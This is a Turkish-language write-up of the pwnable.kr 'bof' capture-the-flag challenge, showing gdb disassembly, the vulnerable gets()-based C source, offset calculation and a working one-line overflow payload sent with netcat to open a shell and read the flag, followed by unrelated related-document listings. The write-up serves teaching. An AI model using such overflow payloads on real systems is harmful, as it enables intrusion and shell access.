C İLE BUFFER OVERFLOW-2

Ebat: px
Şu sayfadan göstermeyi başlat:

Download "C İLE BUFFER OVERFLOW-2"

Transkript

1 C İLE BUFFER OVERFLOW-2 İlk yazımızda buffer overflow un ne olduğundan, hangi amaçla yapıldığından bahsettik. Bu yazımızda önce güvenlik yarışmalarının genel formatı olan CTF(Capture The Flag) hakkında bilgi verdikten sonra güzel bir CTF sitesi olan ve içindeki C kodlarının istismar edilerek flag e ulaşılan pwnable.kr internet sitesine giriş yapıp buradaki buffer overflow açıklığı barındıran C kodunu patlatacağız. Öncelikle CTF(Capture The Flag) kelimelerinin türkçe karşılığı Bayrak Yakalama demektir. Bilişim alanında genel anlamda siber güvenlik alanında düzenlenen eğitim amaçlı yarışmalardır. Yarışmacıların belirlenen süre boyunca hedef sistemleri ele geçirmeye çalışmak veya gizlenen dosyaları bulmaya çalışmak gibi amaçları vardır. Buradaki gizlenen dosyalar bilgi veya kritik bir açık olabilir. İşte flag(bayrak) dediğimiz olgu bu bilgi veya açıklıktır. Her konunun farklı zorluk derecesine göre farklı puanları mevcuttur. Genel olarak yarışmanın sonunda en fazla flag(bayrak) toplayan yani en fazla puanı alan kişi veya grup yarışmayı kazanır. Genel olarak CTF mantığını anladıktan sonra şimdi pwnable.kr sitesine girip bir bakalım. Site açıldığında karşımıza aşağıdaki gibi bir ekran geliyor. Bu ekranın sol üst

2 Login kısmından siteye üye olabiliriz. Biz şimdilik o kısmı atlayıp sağ üst kısımdan Play kısmına tıklıyoruz. Play kısmına tıkladıktan sonra karşımıza resimli sorular geliyor. Bu ilk kısımdaki bütün resimler C kodu ile yazılmış farklı exploitler ile çözülecek flag ler barındıran sorulardır. Biz bof resminin üstüne tıklıyoruz.

3 Ekranda iki indirme bağlantısı ve bir netcat ile server bağlantısı var. Önce iki dosyayıda indiriyoruz. Şu an elimizde bir C kodu ve bu kodun derlenmiş hali var. Biz önce./bof olan derlenmiş C kodumuzu çalıştırmaya çalışıyoruz. Evet çalışmadı. Çünkü linux da gerekli izni vermemişiz. Gerekli izni verip çalıştırıyoruz. Karşımıza aşağıdaki resimdeki gibi bir mesaj çıktı.

4 Geldik işin en zor kısmına burada kalide bulunan gdb assembly debugger ile bakıyoruz. Sırasıyla aşağıdaki kodlar karşımıza çıkıyor. gdb./bof (gdb) disassemble main Dump of assembler code for function main: 0x a <+0>: push %ebp 0x b <+1>: mov %esp,%ebp 0x d <+3>: and $0xfffffff0,%esp 0x <+6>: sub $0x10,%esp 0x <+9>: movl $0xdeadbeef,(%esp) 0x a <+16>: call 0x62c <func> 0x f <+21>: mov $0x0,%eax 0x000006a4 <+26>: leave 0x000006a5 <+27>: ret End of assembler dump. (gdb) disassemble func Dump of assembler code for function func: 0x c <+0>: push %ebp 0x d <+1>: mov %esp,%ebp 0x f <+3>: sub $0x48,%esp 0x <+6>: mov %gs:0x14,%eax 0x <+12>: mov %eax,-0xc(%ebp) 0x b <+15>: xor %eax,%eax 0x d <+17>: movl $0x78c,(%esp) 0x <+24>: call 0x645 <func+25> 0x <+29>: lea -0x2c(%ebp),%eax 0x c <+32>: mov %eax,(%esp) 0x f <+35>: call 0x650 <func+36> 0x <+40>: cmpl $0xcafebabe,0x8(%ebp) 0x b <+47>: jne 0x66b <func+63> 0x d <+49>: movl $0x79b,(%esp) 0x <+56>: call 0x665 <func+57> 0x <+61>: jmp 0x677 <func+75> 0x b <+63>: movl $0x7a3,(%esp) 0x <+70>: call 0x673 <func+71> 0x <+75>: mov -0xc(%ebp),%eax 0x a <+78>: xor %gs:0x14,%eax 0x <+85>: je 0x688 <func+92>

5 0x <+87>: call 0x684 <func+88> ---Type <return> to continue, or q <return> to quit--- 0x <+92>: leave 0x <+93>: ret End of assembler dump. (gdb) break *0x Breakpoint 1 at 0x654 (gdb) r Starting program: /root/desktop/bof Warning: Cannot insert breakpoint 1. Cannot access memory at address 0x654 (gdb) gdb Burada run komutu çalışmadı. mkdir ile yeni bir klasör oluşturuyoruz ve mv komutu ile bof u onun içine atıyoruz. Sonra bir daha deniyoruz. root@kali:~/desktop/hey# gdb./bof (gdb) r Starting program: /root/desktop/hey/bof overflow me : Nah.. [Inferior 1 (process 4364) exited normally] (gdb) disassemble func Dump of assembler code for function func: 0x c <+0>: push %ebp 0x d <+1>: mov %esp,%ebp 0x f <+3>: sub $0x48,%esp 0x <+6>: mov %gs:0x14,%eax 0x <+12>: mov %eax,-0xc(%ebp) 0x b <+15>: xor %eax,%eax 0x d <+17>: movl $0x78c,(%esp) 0x <+24>: call 0x <func+25> 0x <+29>: lea -0x2c(%ebp),%eax 0x c <+32>: mov %eax,(%esp) 0x f <+35>: call 0x <func+36>

6 * 0x <+40>: cmpl $0xcafebabe,0x8(%ebp) 0x b <+47>: jne 0x b <func+63> 0x d <+49>: movl $0x79b,(%esp) 0x <+56>: call 0x <func+57> 0x <+61>: jmp 0x <func+75> 0x b <+63>: movl $0x7a3,(%esp) 0x <+70>: call 0x <func+71> 0x <+75>: mov -0xc(%ebp),%eax 0x a <+78>: xor %gs:0x14,%eax 0x <+85>: je 0x <func+92> 0x <+87>: call 0x <func+88> 0x <+92>: leave 0x <+93>: ret End of assembler dump. (gdb) break *0x Breakpoint 1 at 0x (gdb) r Starting program: /root/desktop/hey/bof overflow me : asd Breakpoint 1, 0x in func () (gdb) info registers eax 0xffffd32c ecx 0xfbad edx 0xf7fad87c ebx 0x0 0 esp 0xffffd310 0xffffd310 ebp 0xffffd358 0xffffd358 esi 0x1 1 edi 0xf7fac eip 0x x <func+40> eflags 0x246 [ PF ZF IF ] cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x63 99 (gdb) x/wx $ebp+0x8 0xffffd360: 0xdeadbeef

7 gdb2 Burada disassemble func altındaki yanında yıldız bulunan satırda main den gelen 0x8(ebp) ile 0xcafebabe i karşılaştırıyor. Eğer aynıysa program çalışacak lakin aynı değil. Neden aynı olmadığına en alt satırda register lardan çektiğimiz bilgi ile anlıyoruz. Burada ebp nin hala 0xdeadbeef olduğunu görüyoruz. Şimdi burada bir durup c kodlarına bir bakalım. #include <stdio.h> #include <string.h> #include <stdlib.h> void func(int key){ char overflowme[32]; //Burda 32 karakterlik bir string alıcam diyor. printf("overflow me : "); gets(overflowme); // smash me! Bizim işimiz asıl burda burdaki overflowme kaç karakterden sonra patlayacak :) if(key == 0xcafebabe){ system("/bin/sh"); } else{ printf("nah..\n"); } } int main(int argc, char* argv[]){ func(0xdeadbeef); return 0; } bof.c Şimdi gdb ile kaldığım yerden devam edersem şu şekilde > (gdb) break gets Breakpoint 1 at 0x80483b0 (gdb) run Starting program: /tmp/work/a.out

8 Breakpoint 1, 0xf7e84e90 in gets () from /lib/i386-linuxgnu/libc.so.6 Single stepping until exit from function gets, which has no line number information. overflow me : hellobof 0x080484ed in func () (gdb) x/1s $ebp-0x2c 0xffffdc0c: "hellobof" (gdb) 0xffffdc0c: 0xffffdc40: "hellobof" 0xdeadbeef Burada bir satırlık bir python koduyla > python c print 0xffffdc0c-0xffffdc40 sonuç -52 çıkar. Ve evet bulduk 52 karakterden sonra sistem patlıyor ve gireceğimiz değer key sabiti 0xcafebabe olacak şekilde flag dosyasını çekebiliceğiz. Şimdi burada yine bir satırlık python koduyla servera bağlanıp programda bir shell açıp flag i çekelim root@kali:~/desktop/hey$ (python -c "print 52*'A'+'\xbe\xba\xfe\xca'";cat) nc pwnable.kr 9000 id uid=1003(bof) gid=1003(bof) groups=1003(bof) whoami bof cat flag daddy, I just pwned a buffer :) //Buradaki en alt satır flag :) Kaynaklar blog.btrisk.com/2016/06/ctf-nedir.html of-writeup-toddlers-bottle/

9 Yazar: Ömer Faruk SÖNMEZ

Scanf e & sız Değer Atama

Scanf e & sız Değer Atama Scanf e & sız Değer Atama Bir önceki buffer overflow yazımızda kullandığımız ve genel olarak C kodları ile pentest yaptığımız pwnable.kr sitesine giriyoruz. Play kısmından sorulara geçip passcode resminin

Detaylı

Linux Assembly Programlamaya Giriş

Linux Assembly Programlamaya Giriş Linux Assembly Programlamaya Giriş Barış Metin Konular gcc / gas / ld Intel ve AT&T söz dizimleri gdb INT 80H C kütüphane fonksiyonları Stack Frame Örnek

Detaylı

BBM 341 Sistem Programlama

BBM 341 Sistem Programlama Öğrenci Adı Soyadı: Öğrenci Numarası: S1 S2 S3 S4 S5 Toplam Hacettepe Üniversitesi Bilgisayar Mühendisliği Bölümü BBM 341 Sistem Programlama Ara Sınav Tarih: 19 Kasım 2012 Süre: 105 dak. Sınava başlamadan

Detaylı

BİL 220 Sistem Programlamaya Giriş

BİL 220 Sistem Programlamaya Giriş Öğrenci Adı Soyadı: Öğrenci Numarası: S1 S2 S3 S4 S5 S6 S7 Toplam Hacettepe Üniversitesi Bilgisayar Mühendisliği Bölümü BİL 220 Sistem Programlamaya Giriş Ara Sınav 1 Tarih: 29 Mart 2012 Süre: 140 dak.

Detaylı

BİL 220 Sistem Programlamaya Giriş

BİL 220 Sistem Programlamaya Giriş Öğrenci Adı Soyadı: Öğrenci Numarası: S S S S4 S Toplam Hacettepe Üniversitesi Bilgisayar Mühendisliği Bölümü BİL 0 Sistem Programlamaya Giriş. Ara Sınav Tarih: Mayıs 0 Süre: 0 dak. Sınava başlamadan önce

Detaylı

AHMET YESEVİ ÜNİVERSİTESİ BİLİŞİM SİSTEMLERİ VE MÜHENDİSLİK FAKÜLTESİ BİLGİSAYAR MÜHENDİSLİĞİ LİSANS DÖNEM ÖDEVİ

AHMET YESEVİ ÜNİVERSİTESİ BİLİŞİM SİSTEMLERİ VE MÜHENDİSLİK FAKÜLTESİ BİLGİSAYAR MÜHENDİSLİĞİ LİSANS DÖNEM ÖDEVİ AHMET YESEVİ ÜNİVERSİTESİ BİLİŞİM SİSTEMLERİ VE MÜHENDİSLİK FAKÜLTESİ BİLGİSAYAR MÜHENDİSLİĞİ LİSANS DÖNEM ÖDEVİ TBIL-303-01 Veri Yapıları ve Algoritmalar LABİRENT HAZIRLAYAN 122132151 Fahri DÖNMEZ DANIŞMAN

Detaylı

Metasploit Framework ile Exploit Geliştirme. Fatih Özavcı Canberk Bolat

Metasploit Framework ile Exploit Geliştirme. Fatih Özavcı Canberk Bolat Metasploit Framework ile Exploit Geliştirme Fatih Özavcı Canberk Bolat Bilgi Güveniği Danışmanı Güvenlik Araştırmacısı fatih.ozavci at gamasec.net canberk.bolat at gmail dotcom gamasec.net/fozavci cbolat.blogspot.com

Detaylı

CSD İŞLETİM SİSTEMİNDE SİSTEM FONKSİYONLARININ ÇAĞIRILMASI

CSD İŞLETİM SİSTEMİNDE SİSTEM FONKSİYONLARININ ÇAĞIRILMASI CSD İŞLETİM SİSTEMİNDE SİSTEM FONKSİYONLARININ ÇAĞIRILMASI 07.07.2003 Burak DEMİRKOL Atılım BOY [v 1.0] Özet : Bu makalede CSD İşletim sisteminin sistem fonksiyonlarının user mod dan (ring 3) kernel mod

Detaylı

BBM 341 Sistem Programlama

BBM 341 Sistem Programlama Öğrenci Adı Soyadı: Öğrenci Numarası: S1 S2 S3 S4 S5 Toplam Hacettepe Üniversitesi Bilgisayar Mühendisliği Bölümü BBM 341 Sistem Programlama Ara Sınav Tarih: 19 Kasım 2012 Süre: 105 dak. Sınava başlamadan

Detaylı

Bahar Dönemi. Öğr.Gör. Vedat MARTTİN

Bahar Dönemi. Öğr.Gör. Vedat MARTTİN Bahar Dönemi Öğr.Gör. Vedat MARTTİN 8086/8088 MİKROİŞLEMCİSİ İÇ MİMARİSİ Şekilde x86 ailesinin 16-bit çekirdek mimarisinin basitleştirilmiş bir gösterimi verilmiştir. Mikroişlemci temel iki ayrı çalışma

Detaylı

Açık Kaynak Kodlu Optik Sınav Kağıtları Depolama Sistemi

Açık Kaynak Kodlu Optik Sınav Kağıtları Depolama Sistemi Açık Kaynak Kodlu Optik Sınav Kağıtları Depolama Sistemi Kerem Erzurumlu Aykut Karakaya kerem@linux.org.tr aykut.karakaya@bil.omu.edu.tr Ondokuz Mayıs Üniversitesi Bilgisayar Mühendisliği Bölümü Gereksinim

Detaylı

Qt ile Bir Ağ Uygulaması

Qt ile Bir Ağ Uygulaması Qt ile Bir Ağ Uygulaması Aykut Aksoy aykutaksoy@myway.com sürüm 1.0 Özet Bu belge Qt ile hazırlanmış bir ağ uygulamasını anlatır. C++ bilinmesi beklenir. Bu belgede "QProcess.h" kütüphanesine ağırlık verilmiştir.

Detaylı

Adım Adım C-II. Eksik kalmış konular

Adım Adım C-II. Eksik kalmış konular Adım Adım C-II Eksik kalmış konular Bu dersin amacı Bu derste; değişkenler, sabitler ve operatörler ile fonksiyonlar konusunun detayları anlatılacaktır. Ders bitiminde; Daha etkin programlar yazma becerisinin

Detaylı

Sınav tarihi : Süre : 60 dak.

Sınav tarihi : Süre : 60 dak. Selçuk Üniversitesi, Mühendislik Fakültesi, Harita Mühendisliği Bölümü Final Sınavı Test Soruları Adı soyadı : Öğrenci no : Sınav tarihi : 31.05.2016 Süre : 60 dak. 1. Ekranda ne görüntülenir? int i =

Detaylı

MTM 305 MİKROİŞLEMCİLER

MTM 305 MİKROİŞLEMCİLER KARABÜK ÜNİVERSİTESİ TEKNOLOJİ FAKÜLTESİ MEKATRONİK MÜHENDİSLİĞİ BÖLÜMÜ MTM 305 MİKROİŞLEMCİLER Arş. Gör. Emel SOYLU Arş. Gör. Kadriye ÖZ Ekran ve Klavye İşlemleri EKRAN İŞLEMLERİ Ekrana yazdırma işlemleri

Detaylı

AHMET YESEVİ ÜNİVERSİTESİ BİLİŞİM SİSTEMLERİ VE MÜHENDİSLİK FAKÜLTESİ BİLGİSAYAR MÜHENDİSLİĞİ LİSANS DÖNEM ÖDEVİ

AHMET YESEVİ ÜNİVERSİTESİ BİLİŞİM SİSTEMLERİ VE MÜHENDİSLİK FAKÜLTESİ BİLGİSAYAR MÜHENDİSLİĞİ LİSANS DÖNEM ÖDEVİ AHMET YESEVİ ÜNİVERSİTESİ BİLİŞİM SİSTEMLERİ VE MÜHENDİSLİK FAKÜLTESİ BİLGİSAYAR MÜHENDİSLİĞİ LİSANS DÖNEM ÖDEVİ TBIL-303-01 Veri Yapıları ve Algoritmalar İki Yönlü Bağlantılı Liste Uygulaması HAZIRLAYAN

Detaylı

ROP için kısacası şunları diyebiliriz;

ROP için kısacası şunları diyebiliriz; Giriş Öncelikle şunu belirtmekte fayda var bu makale Türkiye güvenlik & hacking topluluğuna destek amaçlı teknik konularda bilgi ve beceri kazandırabilme adına yazılmıştır. Makalede eksik ya da yanlış

Detaylı

Bölüm 3: Adresleme Modları. Chapter 3: Addressing Modes

Bölüm 3: Adresleme Modları. Chapter 3: Addressing Modes Bölüm 3: Adresleme Modları Chapter 3: Addressing Modes 3 1 Veri Adresleme Modları MOV komutu veriyi bir bellek satırından diğer bellek satırına yada yazaca kopyalar Kaynak (source) verilin okunacağı belleğin

Detaylı

ELN1001 BİLGİSAYAR PROGRAMLAMA I

ELN1001 BİLGİSAYAR PROGRAMLAMA I ELN1001 BİLGİSAYAR PROGRAMLAMA I Bilgisayar Programlamaya Giriş Temel Programlama Kavramları Programlama Dilleri Program Oluşturma Teknikleri C++ Programlama Diline Giriş Temel Programlama Kavramları Bilgisayar

Detaylı

EXPLOIT SHELLCODE GELİŞTİRME

EXPLOIT SHELLCODE GELİŞTİRME EXPLOIT SHELLCODE GELİŞTİRME Fatih Emiral OSCP, CISSP, CISA, CEH, CIA, ISO27001 LA İçindekiler BTRisk Bilgi Güvenliği ve BT Yönetişim Hizmetleri I. GİRİŞ... 2 II. SHELLCODE TEST ARAÇLARIMIZ... 4 III. STANDART

Detaylı

C Konsol ve Komut Satırı

C Konsol ve Komut Satırı C Konsol ve Komut Satırı Öğr. Gör. M. Ozan AKI Rev 1.0 C:\> Konsol ekranı, işletim sistemi ve dosya yönetiminin metin tabanlı yönetilebilmesini sağlayan arabirimdir. Windows işletim sistemi ortaya çıkmadan

Detaylı

Big Endian & Little Endian K.Atilla Toker İzmir Üniversitesi Meslek Yüksek Okulu Bilgisayar Programcılığı 11-2009 Ver:01

Big Endian & Little Endian K.Atilla Toker İzmir Üniversitesi Meslek Yüksek Okulu Bilgisayar Programcılığı 11-2009 Ver:01 Bilgisayar i Mimarisii i Big Endian & Little Endian K.Atilla Toker İzmir Üniversitesi Meslek Yüksek Okulu Bilgisayar Programcılığı 11-2009 Ver:01 İZMIR ÜNIVERSITESI İZMIR ÜNIVERSITESI MYO BILGISAYAR PROGRAMLAMA

Detaylı

INTEGER OVERFLOW ***************************************************************/

INTEGER OVERFLOW ***************************************************************/ INTEGER OVERFLOW BELGE HAKKINDA Bu belge "GNU Free Documentation Licence" ile kaynak gösterilmek ve önceden yazarından izin alınmak kaydıyla yeniden yayınlanabilir. Bu belgedeki eksik, yanlış ya da geliştirilmesi

Detaylı

Şehmus POLAT Teknoloji Fakültesi

Şehmus POLAT Teknoloji Fakültesi Şehmus POLAT Teknoloji Fakültesi Elektrik-Elektronik Mühendisliği CTF Nedir? Capture the Flag (Bayrağı yakala), siber güvenlik alanında düzenlenen ve katılımcıların; kriptoloji, tersine mühendislik, log

Detaylı

int faktoriyel(int sayi) { int sonuc = 1; for(int i=sayi;i>0;i--) sonuc*=i; return sonuc; } int main() { int sayi = faktoriyel(5); }

int faktoriyel(int sayi) { int sonuc = 1; for(int i=sayi;i>0;i--) sonuc*=i; return sonuc; } int main() { int sayi = faktoriyel(5); } FONKSİYONLAR Fonksiyon, programcı tarafından seçilen bir kod bloğuna isim vermek için kullanılan araçtır. Fonksiyon ismi program içerisinde çağrıldığında fonksiyonun temsil ettiği kod çalıştırılır. Örneğin

Detaylı

PROGRAMLAMAYA GİRİŞ DERS 2

PROGRAMLAMAYA GİRİŞ DERS 2 PROGRAMLAMAYA GİRİŞ DERS 2 Program editörde oluşturulur ve diske kaydedilir Tipik Bir C Programı Geliştirme Ortamının Temelleri 1. Edit 2. Preprocess 3. Compile 4. Link 5. Load 6. Execute Önişlemci programı

Detaylı

Ders Özeti. Ders 2. PC nin İç Organizasyonu. Mikroişlemcinin Organizasyonu. Basitçe İşlemciyi Oluşturan Parçalar. Mikroişlemciler

Ders Özeti. Ders 2. PC nin İç Organizasyonu. Mikroişlemcinin Organizasyonu. Basitçe İşlemciyi Oluşturan Parçalar. Mikroişlemciler Ders Özeti Ders Bilgisayarlar Hakkında Mikroişlemci ve Bilgisayar sisteminin yapısı Temel komut işleme süreci x86 kaydedicileri (registers) x86 hafıza temelleri Çevre cihazları x86 assembly diline giriş

Detaylı

8086 Mikroişlemcisi Komut Seti

8086 Mikroişlemcisi Komut Seti 8086 Mikroişlemcisi Komut Seti X86 tabanlı mikroişlemcilerin icra ettiği makine kodları sabit olmasına rağmen, programlama dillerinin komut ve ifadeleri farklı olabilir. Assembly programlama dilininde

Detaylı

Exploit.CVE-2012-0003 Analizi

Exploit.CVE-2012-0003 Analizi Exploit.CVE-2012-0003 Analizi Celil ÜNÜVER cunuver [at] signalsec.com www.signalsec.com Hackerların yer altı dünyasında Patch Tuesday, Exploit Wednesday diye bir söz vardır. Microsoft Salı günü yamaları

Detaylı

16 bitlik işlemciler basit olarak 8 bitlik işlemciler gibi Kaydedici ALU Zamanlama/kontrol

16 bitlik işlemciler basit olarak 8 bitlik işlemciler gibi Kaydedici ALU Zamanlama/kontrol 16 bitlik İşlemciler 16 bitlik işlemciler basit olarak 8 bitlik işlemciler gibi Kaydedici ALU Zamanlama/kontrol Birimlerine sahiptirler. Fakat mimari yapıları çoklu görev (multitasking) ortamına uygun

Detaylı

Python Programlama Dili

Python Programlama Dili Python Programlama Dili 2. Python da Koşul ifadeleri Python da koşullu durumların nasıl oluşturulacağını bu bölümde öğreneceğiz. Bu iş için kullanacağımız üç tane deyim var: if, else ve elif 2.1. if If

Detaylı

Sınav tarihi : Süre : 60 dak. a) strstr b) strchr c) strcat d) strcpy e) strlen. a) b) d) e) 0

Sınav tarihi : Süre : 60 dak. a) strstr b) strchr c) strcat d) strcpy e) strlen. a) b) d) e) 0 Selçuk Üniversitesi, Mühendislik Fakültesi, Harita Mühendisliği Bölümü Bitirme Sınavı Test Soruları Adı soyadı : Öğrenci no : Sınav tarihi : 01.06.2017 Süre : 60 dak. 1. t değişkeni hakkında aşağıdakilerden

Detaylı

2 PYTHON A GIRIŞ 13 PyCharm İle Python Projesi Oluşturma 15 Projenin Çalıştırılması 18 İlk Python Programımız 19 Açıklama Satırları 21

2 PYTHON A GIRIŞ 13 PyCharm İle Python Projesi Oluşturma 15 Projenin Çalıştırılması 18 İlk Python Programımız 19 Açıklama Satırları 21 İÇİNDEKİLER VII İÇİNDEKİLER 1 PYTHON 1 Neden Python? 2 Python Sürümleri 2 Python Kurulumu 3 Windows Üzerinde Python 3 Ubuntu Üzerinde Python 6 Komut Satırında Python Çalıştırma 6 Windows komut istemi üzerinde

Detaylı

Debug Komutları C:\>DEBUG - Çizgi işareti artık debug programının komut kabul etmeye hazır olduğunu belirtmektedir.

Debug Komutları C:\>DEBUG - Çizgi işareti artık debug programının komut kabul etmeye hazır olduğunu belirtmektedir. Debug Komutları Assembly komutlarının nasıl çalıştıklarını deneyerek görmek ve yazılan programların amacına uygun çalışıp çalışmadığını anlamak varsa hatalarını düzeltmek için DOS'un DEBUG.COM isimli programı

Detaylı

MTM 305 MĠKROĠġLEMCĠLER

MTM 305 MĠKROĠġLEMCĠLER KARABÜK ÜNĠVERSĠTESĠ TEKNOLOJĠ FAKÜLTESĠ MEKATRONĠK MÜHENDĠSLĠĞĠ BÖLÜMÜ MTM 305 MĠKROĠġLEMCĠLER ArĢ. Gör. Emel SOYLU ArĢ. Gör. Kadriye ÖZ KONTROL KOMUTLARI Program Kontrol Komutları Program akıģını bir

Detaylı

Giris {\} /\ Suhap SAHIN Onur GÖK

Giris {\} /\ Suhap SAHIN Onur GÖK Giris 0 \ /\ Suhap SAHIN Onur GÖK Fonksiyon C: Ana Fonksiyon(main) main() main() C: Ana Fonksiyon(main) main() main() C: Ana Fonksiyon(main) Giris? main() Çıkıs main() C: Ana Fonksiyon(main) void main()

Detaylı

İşletim Sistemleri. Dr. Binnur Kurt binnur.kurt@gmail.com. Omega Eğitim ve Danışmanlık http://www.omegaegitim.com. İşletim Sistemleri

İşletim Sistemleri. Dr. Binnur Kurt binnur.kurt@gmail.com. Omega Eğitim ve Danışmanlık http://www.omegaegitim.com. İşletim Sistemleri İşletim Sistemleri Dr. Binnur Kurt binnur.kurt@gmail.com Omega Eğitim ve Danışmanlık http://www.omegaegitim.com 1 S a y f a İÇİNDEKİLER 1. İşletim Sistemi 2. Kabuk 3. Prosesler 4. İplikler 5. İplikler

Detaylı

Komut Seti Mimarisi (ISA)

Komut Seti Mimarisi (ISA) Komut Seti Mimarisi (ISA) BIL-304: Bilgisayar Mimarisi Dersi veren öğretim üyesi: Dr. Öğretim Üyesi Fatih Gökçe Ders kitabına ait sunum dosyalarından adapte edilmiştir: http://csapp.cs.cmu.edu/ Adapted

Detaylı

Bil101 Bilgisayar Yazılımı I. M. Erdem ÇORAPÇIOĞLU Bilgisayar Yüksek Mühendisi

Bil101 Bilgisayar Yazılımı I. M. Erdem ÇORAPÇIOĞLU Bilgisayar Yüksek Mühendisi Bil101 Bilgisayar Yazılımı I Bilgisayar Yüksek Mühendisi Editör Disk 1)Kaynak kodlar editör aracılığı ile oluşturulur. (.c) Kaynak dosya Önişleyici Disk 2)Önişleyici kodlar içerisindeki ilk işleme işini

Detaylı

Karakter katarları ile ilgili fonksiyonlar içerir Yerel kayan noktalı sayılar tanımlanır

Karakter katarları ile ilgili fonksiyonlar içerir Yerel kayan noktalı sayılar tanımlanır stringh floath Karakter katarları ile ilgili fonksiyonlar içerir Yerel kayan noktalı sayılar tanımlanır 32 Sorgulama İfadesi - if Deyimi (5 Hafta) Bu deyim sorgulamanın tek basamakta yapılacağı yerlerde

Detaylı

BİL 220 Sistem Programlamaya Giriş

BİL 220 Sistem Programlamaya Giriş Öğrenci Adı Soyadı: Öğrenci Numarası: S S2 S3 S4 S5 S6 S7 S8 Toplam Hacettepe Üniversitesi Bilgisayar Mühendisliği Bölümü BİL 220 Sistem Programlamaya Giriş Final Sınavı Tarih: 30 Mayıs 202 Süre: 35 dak.

Detaylı

MICROPROCESSORS ESA 86/88-3 KULLANIM KLAVUZU

MICROPROCESSORS ESA 86/88-3 KULLANIM KLAVUZU MICROPROCESSORS ESA 86/88-3 KULLANIM KLAVUZU Microprocessors dersinin deneyleri için kullanılan ESA 86/88-3 board unun resmi yukarıdadır. Board ile iletişime geçebilmek ve assembler ını kullanmak için

Detaylı

MİKROBİLGİSAYAR SİSTEMLERİ. Teknik Bilimler Meslek Yüksekokulu

MİKROBİLGİSAYAR SİSTEMLERİ. Teknik Bilimler Meslek Yüksekokulu MİKROBİLGİSAYAR SİSTEMLERİ Teknik Bilimler Meslek Yüksekokulu Dersin Amacı Mikroişlemciler Mikrodenetleyiciler PIC Mikrodenetleyiciler Micro BASIC Programlama Kullanılacak Programlar MSDOS DEBUG PROTEUS

Detaylı

MTM 305 MĠKROĠġLEMCĠLER

MTM 305 MĠKROĠġLEMCĠLER KARABÜK ÜNĠVERSĠTESĠ TEKNOLOJĠ FAKÜLTESĠ MEKATRONĠK MÜHENDĠSLĠĞĠ BÖLÜMÜ MTM 305 MĠKROĠġLEMCĠLER ArĢ. Gör. Emel SOYLU ArĢ. Gör. Kadriye ÖZ Mantıksal Komutlar AND OR XOR NOT TEST And Komutu Yapı olarak AND

Detaylı

HAZIRLAYAN BEDRİ SERTKAYA Sistem Uzmanı CEH EĞİTMENİ

HAZIRLAYAN BEDRİ SERTKAYA Sistem Uzmanı CEH EĞİTMENİ HAZIRLAYAN BEDRİ SERTKAYA bedri@bedrisertkaya.com Sistem Uzmanı CEH EĞİTMENİ BUFFER OVERFLOW: Buffer Nedir? Buffer yani tampon alan donanım aygıtları veya farklı hızlarda farklı öncelikleri olan program

Detaylı

KOCAELİ ÜNİVERSİTESİ BİLGİSAYAR MÜHENDİSLİĞİ. BİLGİSAYAR LABORATUVARI II FİNAL SINAVI SORU ve CEVAPLARI(I. ogr)

KOCAELİ ÜNİVERSİTESİ BİLGİSAYAR MÜHENDİSLİĞİ. BİLGİSAYAR LABORATUVARI II FİNAL SINAVI SORU ve CEVAPLARI(I. ogr) KOCAELİ ÜNİVERSİTESİ BİLGİSAYAR MÜHENDİSLİĞİ BİLGİSAYAR LABORATUVARI II FİNAL SINAVI SORU ve CEVAPLARI(I. ogr) 1. Kendisine gönderilen iki karakter dizisini birleştirip geriye tek bir dizi döndüren ve

Detaylı

Sınav tarihi : Süre : 60 dak. c) En başta #include<stdio.h> yazılmamıştır. c) zt d) Pi e) X0

Sınav tarihi : Süre : 60 dak. c) En başta #include<stdio.h> yazılmamıştır. c) zt d) Pi e) X0 Selçuk Üniversitesi, Mühendislik Fakültesi, Harita Mühendisliği Bölümü Yıliçi Sınavı Test Soruları Adı soyadı : Öğrenci no : Sınav tarihi : 14.04.2015 Süre : 60 dak. 1. Tür dönüşümleri... olmak üzere iki

Detaylı

C Programlama printf() Fonksiyonu

C Programlama printf() Fonksiyonu C Programlama printf() Fonksiyonu Standart C kütüphanesinin bir parçası olan printf() C Programlama Dili'nin genel amaçlı çıktı alma fonksiyonudur. Girdi ve çıktı deyimleri gerçekte C dilinin bir parçası

Detaylı

C dilinde if-else yapısı

C dilinde if-else yapısı C dilinde if- yapısı Merhaba arkadaşlar, bu başlık altında sizlere koşullu ifadelerden bahsedeceğim. Peki nedir bu koşullu ifadeler(if, if, )? Bunu bir koşulun gerçekleşmesine bağlı olarak gerçekleşen

Detaylı

Bekir Karul. home about twitter goodreads github

Bekir Karul. home about twitter goodreads github Bekir Karul home about twitter goodreads github SafeSEH ve Stack Cookie Korumasının Atlatılması Bugüne dek blogda yazdığım yazılarda herhangi bir koruma mekanizması ile uğraşmamıştık. Yani örneğin yazdığımız

Detaylı

1 Aralık 2011 / Perşembe

1 Aralık 2011 / Perşembe 1 Aralık 2011 / Perşembe Örnek :İki adet panel var.eğer 1nci panelde şifre Mustafa ise kendimiz bir session değişkeni oluşturup tamam yazdıracağız.değilse Şifre hatalı yazdıracağız. protectedvoid Page_Load(object

Detaylı

Python Programlama Dili

Python Programlama Dili Python Programlama Dili 3. Python da Döngüler Bu bölümde iki tane döngüden bahsedeceğiz: while ve for döngüleri. Ayrıca bu bölümde döngüler dışında break ve continue deyimleri ile range() ve len() fonksiyonlarına

Detaylı

Derleme Make Hata Ayıklama

Derleme Make Hata Ayıklama UYBHM Yaz Çalıştayı 15 Haziran 2011 Derleme Make Hata Ayıklama Cem Ahmet MERCAN Neler Anlatılacak? ( Compiling ) Derleme Make / Makefile ( Debug ) Hata Ayıklama UYBHM Yaz Çalıştayı 15 Haziran 2011 Derleme

Detaylı

BİL 220 Sistem Programlamaya Giriş

BİL 220 Sistem Programlamaya Giriş Öğrenci Adı Soyadı: Öğrenci Numarası: S S2 S3 S4 S5 S6 S7 S8 Toplam Hacettepe Üniversitesi Bilgisayar Mühendisliği Bölümü BİL 220 Sistem Programlamaya Giriş Final Sınavı Tarih: 30 Mayıs 202 Süre: 35 dak.

Detaylı

Proses. Prosesler 2. İşletim Sistemleri

Proses. Prosesler 2. İşletim Sistemleri 2 PROSESLER Proses Bir işlevi gerçeklemek üzere ardışıl bir program parçasının yürütülmesiyle ortaya çıkan işlemler dizisi Programın koşmakta olan hali Aynı programa ilişkinbirdenfazlaprosesolabilir. Görev

Detaylı

Bit, Byte ve Integer. BIL-304: Bilgisayar Mimarisi. Dersi veren öğretim üyesi: Yrd. Doç. Dr. Fatih Gökçe

